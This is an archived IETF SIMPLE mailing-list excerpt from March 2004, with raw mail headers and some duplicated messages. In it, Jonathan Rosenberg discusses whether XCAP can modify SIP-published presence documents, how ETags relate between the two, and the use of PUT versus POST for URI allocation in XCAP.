List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 23:58:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

George Foti (QA/EMC) wrote:

>> What if a user changes other  soft tuples with XCAP.
>> 
>> It is my understanding that they cannot.
>> 
>> This is enforced because the presence documents published through 
>> PUBLISH are simply not reflected into the xcap hierarchy.
>> 
>> 
>>> 
>>> Will the server allow that?
>> 
>> No.
> 
> 
> The current scope of the PIDF manipluation using XCAP is the entire
> PIDF XML document as well as presence extensions.


Right.


> There is nothing in
> the draft that says otherwise. As far as PUBLISH is concerned, the
> draft 03 explitly says that the content type for a published presence
> event is the PIDF presence document.

Right.

> 
> Doesn't that imply that the indeed, per the current draft, published
> documents for presence events are indeed reflected in the xcap
> hierarchy, or have I missed something ?

No. Just because the content type of publications is the same as the 
type manipulated by xcap, it does not mean that you can manipulate 
published documents with xcap.

The model which is implicit here (and perhaps needs to be explicit), 
looks something like this:

   Please view in a fixed-width font such as Courier.












                         +--------------+    SUB
                         |              |<--------------
                         |  Presence    |
                         |  Server      |
                         |              |    NOT
                         |              |-------------->
                         |              |
                         +--------------+
                           /        \
                         //          \\
                        /              \    publication
                       /                \
                     // SIP              \\
                    /   PUBLISH            \
                   /                        \

            +-----------+                 +-----------+
            |           |                 |           |
            |   PUA     |                 | XCAP Srvr |
            +-----------+                 +-----------+
                                                 ^
                                                 |
                                                 |
                                                 |  xcap
                                                 |
                                                 |
                                                 |
                                                 |
                                                 |
                                                 |
                                          +------------+
                                          |            |
                                          | XCAP Client|
                                          +------------+

In this model, the presence server has many sources of presence data. 
One is the SIP published documents. Another one is the xcap server, 
which stores a presence document permananetly and makes it available to 
the presence serevr through some kind of "publication" mecahnism 
(generally an internal interface). The client can manipulate this 
permanent document using xcap.

In this model, the xcap server simply doesnt have access to the presence 
documents published through sip.

Even if it did, we have no way to address them. That is, lets say I had 
a PC and a phone, and both used SIP PUBLISH to publish presence 
documents. What xcap URL corresponds to the PC's presence doc, and which 
xcap url points to that of the phone? You would need to define 
conventions for addressing these SIP published documents with xcap. The 
pidf-manipulation document doesnt do that, so there is simply no way to 
even shake a url at one of those documents to modify it. In that way, it 
is disallowed by the spec.


> 
> And one more thing, all applications using XCAP should have the XML
> schema included in the usage draft for consistency and completness. 
> The list usage application had them there, the CPCP (XCON) were
> instructed to do. In this case they are not.

The schema for pidf-manipulation is pidf, so I thought it defined the 
schema by referencing the pidf document. What is wrong with doing that?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 00:03:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27232
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 00:03:40 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1ILg-0001s8-QO
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 00:03:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2B53C9M007190
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 00:03:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1ILg-0001rt-5H
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 00:03:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27208
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 00:03:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1ILd-0005mm-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 00:03:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IKe-0005e2-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 00:02:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IJe-0005SG-00; Thu, 11 Mar 2004 00:01:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IJZ-0001ht-N8; Thu, 11 Mar 2004 00:01:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IIq-0001gp-BC
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 00:00:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27141
	for <simple@ietf.org>; Thu, 11 Mar 2004 00:00:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IIn-0005O8-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:00:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1II2-0005G5-00
	for simple@ietf.org; Wed, 10 Mar 2004 23:59:27 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IHT-00055o-00
	for simple@ietf.org; Wed, 10 Mar 2004 23:58:51 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B4wTNr016486;
	Wed, 10 Mar 2004 23:58:30 -0500 (EST)
Message-ID: <404FF1EA.6030000@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95EC@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C95EC@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 23:58:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

George Foti (QA/EMC) wrote:

>> What if a user changes other  soft tuples with XCAP.
>> 
>> It is my understanding that they cannot.
>> 
>> This is enforced because the presence documents published through 
>> PUBLISH are simply not reflected into the xcap hierarchy.
>> 
>> 
>>> 
>>> Will the server allow that?
>> 
>> No.
> 
> 
> The current scope of the PIDF manipluation using XCAP is the entire
> PIDF XML document as well as presence extensions.


Right.


> There is nothing in
> the draft that says otherwise. As far as PUBLISH is concerned, the
> draft 03 explitly says that the content type for a published presence
> event is the PIDF presence document.

Right.

> 
> Doesn't that imply that the indeed, per the current draft, published
> documents for presence events are indeed reflected in the xcap
> hierarchy, or have I missed something ?

No. Just because the content type of publications is the same as the 
type manipulated by xcap, it does not mean that you can manipulate 
published documents with xcap.

The model which is implicit here (and perhaps needs to be explicit), 
looks something like this:

   Please view in a fixed-width font such as Courier.












                         +--------------+    SUB
                         |              |<--------------
                         |  Presence    |
                         |  Server      |
                         |              |    NOT
                         |              |-------------->
                         |              |
                         +--------------+
                           /        \
                         //          \\
                        /              \    publication
                       /                \
                     // SIP              \\
                    /   PUBLISH            \
                   /                        \

            +-----------+                 +-----------+
            |           |                 |           |
            |   PUA     |                 | XCAP Srvr |
            +-----------+                 +-----------+
                                                 ^
                                                 |
                                                 |
                                                 |  xcap
                                                 |
                                                 |
                                                 |
                                                 |
                                                 |
                                                 |
                                          +------------+
                                          |            |
                                          | XCAP Client|
                                          +------------+

In this model, the presence server has many sources of presence data. 
One is the SIP published documents. Another one is the xcap server, 
which stores a presence document permananetly and makes it available to 
the presence serevr through some kind of "publication" mecahnism 
(generally an internal interface). The client can manipulate this 
permanent document using xcap.

In this model, the xcap server simply doesnt have access to the presence 
documents published through sip.

Even if it did, we have no way to address them. That is, lets say I had 
a PC and a phone, and both used SIP PUBLISH to publish presence 
documents. What xcap URL corresponds to the PC's presence doc, and which 
xcap url points to that of the phone? You would need to define 
conventions for addressing these SIP published documents with xcap. The 
pidf-manipulation document doesnt do that, so there is simply no way to 
even shake a url at one of those documents to modify it. In that way, it 
is disallowed by the spec.


> 
> And one more thing, all applications using XCAP should have the XML
> schema included in the usage draft for consistency and completness. 
> The list usage application had them there, the CPCP (XCON) were
> instructed to do. In this case they are not.

The schema for pidf-manipulation is pidf, so I thought it defined the 
schema by referencing the pidf document. What is wrong with doing that?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 00:04:18 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27280
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 00:04:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IMl-0005y2-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 00:04:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1ILs-0005pe-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 00:03:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1ILV-0005g5-00; Thu, 11 Mar 2004 00:03:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1ILV-0001ne-9k; Thu, 11 Mar 2004 00:03:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IKi-0001n5-N7
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 00:02:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27176
	for <simple@ietf.org>; Thu, 11 Mar 2004 00:02:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IKg-0005eA-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:02:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IJg-0005Vd-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:01:08 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IIf-0005Gi-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:00:05 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B4xgNr016490;
	Wed, 10 Mar 2004 23:59:42 -0500 (EST)
Message-ID: <404FF234.7090402@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Ben Campbell'" <bcampbell@dynamicsoft.com>,
        "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95EE@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C95EE@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 23:59:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



George Foti (QA/EMC) wrote:

> 
> 
> 
>> Is this normative? Does xcap forbid this, are are we just assuming
>> that servers will never do it?
>> 
> 
> 
> No it is not normative, and thats my problem, and thats why I started
> the thread to reflect that. And if you now consider the E-tag usage
> within PUBLISH & XCAP for PIDF manipulation, you have a serious
> incomplete specification, and a serious alignment that needs to be
> undertaken.

Etags in the SIP PUBLISH spec are completely and totally unrelated to 
those used in xcap. These are different resources. As such, I dont see 
the problem. Can you clarify?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 00:04:50 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27301
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 00:04:49 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IMo-0001zx-D8
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 00:04:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2B54Mfd007675
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 00:04:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IMo-0001zi-9p
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 00:04:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27298
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 00:04:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IMl-0005yA-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 00:04:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1ILt-0005pl-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 00:03:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1ILV-0005g5-00; Thu, 11 Mar 2004 00:03:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1ILV-0001ne-9k; Thu, 11 Mar 2004 00:03:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IKi-0001n5-N7
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 00:02:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27176
	for <simple@ietf.org>; Thu, 11 Mar 2004 00:02:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IKg-0005eA-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:02:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IJg-0005Vd-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:01:08 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IIf-0005Gi-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:00:05 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B4xgNr016490;
	Wed, 10 Mar 2004 23:59:42 -0500 (EST)
Message-ID: <404FF234.7090402@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "George Foti (QA/EMC)" <george.foti@ericsson.com>
CC: "'Ben Campbell'" <bcampbell@dynamicsoft.com>,
        "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95EE@lmc37.lmc.ericsson.se>
In-Reply-To: <2DBF697D5B36014ABA46E66A96107DA02C95EE@lmc37.lmc.ericsson.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 10 Mar 2004 23:59:32 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



George Foti (QA/EMC) wrote:

> 
> 
> 
>> Is this normative? Does xcap forbid this, are are we just assuming
>> that servers will never do it?
>> 
> 
> 
> No it is not normative, and thats my problem, and thats why I started
> the thread to reflect that. And if you now consider the E-tag usage
> within PUBLISH & XCAP for PIDF manipulation, you have a serious
> incomplete specification, and a serious alignment that needs to be
> undertaken.

Etags in the SIP PUBLISH spec are completely and totally unrelated to 
those used in xcap. These are different resources. As such, I dont see 
the problem. Can you clarify?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 11 00:07:16 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27410
	for <simple-archive@ietf.org>; Thu, 11 Mar 2004 00:07:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IPc-0006Rh-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 00:07:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IOp-0006Jd-00
	for simple-archive@ietf.org; Thu, 11 Mar 2004 00:06:28 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IOP-0006A5-00; Thu, 11 Mar 2004 00:06:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IOP-000297-Hb; Thu, 11 Mar 2004 00:06:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1INk-00025l-3J
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 00:05:20 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27331
	for <simple@ietf.org>; Thu, 11 Mar 2004 00:05:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1INh-00067p-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:05:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1IMo-0005ym-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:04:23 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IMI-0005p3-00
	for simple@ietf.org; Thu, 11 Mar 2004 00:03:50 -0500
Received: from dynamicsoft.com ([63.113.46.42])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2B53VNr016493;
	Thu, 11 Mar 2004 00:03:31 -0500 (EST)
Message-ID: <404FF318.2000302@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jari Urpalainen <Jari.Urpalainen@nokia.com>
CC: Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com>	 <404711F8.9080807@softarmor.com>  <404D7E68.8090304@dynamicsoft.com> <1078829916.13856.49.camel@xitami.research.nokia.com>
In-Reply-To: <1078829916.13856.49.camel@xitami.research.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 00:03:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

Jari Urpalainen wrote:


> 
>>A possible solution to this issue is to cleanly separate the URI 
>>allocation from the manipulation. We could define a separate piece of 
>>the protocol (POST based, perhaps), which has the server allocate the 
>>URI to the client. Once allocated, the client would PUT the entire 
>>document with that URI filled in. In this way, the data manipulation is 
>>using PUT/DELETE and is separated from the server computation.
>>
>>This still requires two round trips to create a list. That seemed to 
>>give people a LOT of heartburn, but I dont think its an optimization we 
>>need to worry about that much. None of these operations are latency 
>>sensitive; at least, not to the point where one round trip vs. two 
>>really makes a difference. Furthermore, we are talkign only about the 
>>creation of the list/conference, which is not likely to be that frequent 
>>of an event. Thus, I dont see a bandwidth issue per se either.
>>
>>-Jonathan R.
>>
> 
> This is probably the best way to go, at least it is better than the
> current one.

Any other comments?


>>>
>>>I'm not an expert on Apache internals, although I have been building web 
>>>sites with it for ten years or so. As I understand it, PUT requests are 
>>>interpreted by the WebDAV module (or by the basic web posting module if 
>>>you don't have the WebDAV module) and literally results in writing a 
>>>file to the file system. Nothing gets "triggered" when this happens, no 
>>>magic application gets invoked to go do things like assign a conference 
>>>number and update the etag, or anything like that. The data just sits 
>>>there in a file. To implement the current XCAP model, you'd have to 
>>>write some magic filesystem-monitoring daemon that notices the file has 
>>>changed, locks it, reads it, and writes it back with new etags. This 
>>>makes for 1) a lot of polling the filesystem for changes, and 2) really 
>>>wicked locking problems between writes-from-apache and 
>>>writes-from-the-magic-daemon to the data. There's probably a more clever 
>>>way to do it, but it's going to be moderately painful in any case.
>>>
> 
> I have been writing an apache module to handle basic xcap-requests. In
> practice, an apache module will get parsed requests (+payload) and the
> module may respond however it wishes. It is not necessary that any
> file-io will ever happen, however in xcap, it is of course desirable.
> There are also other implementation difficulties that could be
> elaborated here, but from the modules point of view, apache only
> provides basic http transport and module has to take care of the all
> "real" handling.

Can you comment on those implementation difficulties? If there are 
aspects of the protocol that make it hard to implement, and some change 
would help, I'd like to know that.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 11 00:07:48 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27431
	for <simple-archive@odin.ietf.org>; Thu, 11 Mar 2004 00:07:47 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IPg-0002MC-4s
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 00:07:20 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2B57KNH009054
	for simple-archive@odin.ietf.org; Thu, 11 Mar 2004 00:07:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1IPf-0002Lp-R8
	for simple-web-archive@optimus.ietf.org; Thu, 11 Mar 2004 00:07:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA27428
	for <simple-web-archive@ietf.org>; Thu, 11 Mar 2004 00:07:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1IPd-0006Ro-00
	for simple-web-archive@ietf.org; Thu, 11 Mar 2004 00:07:17 -0500
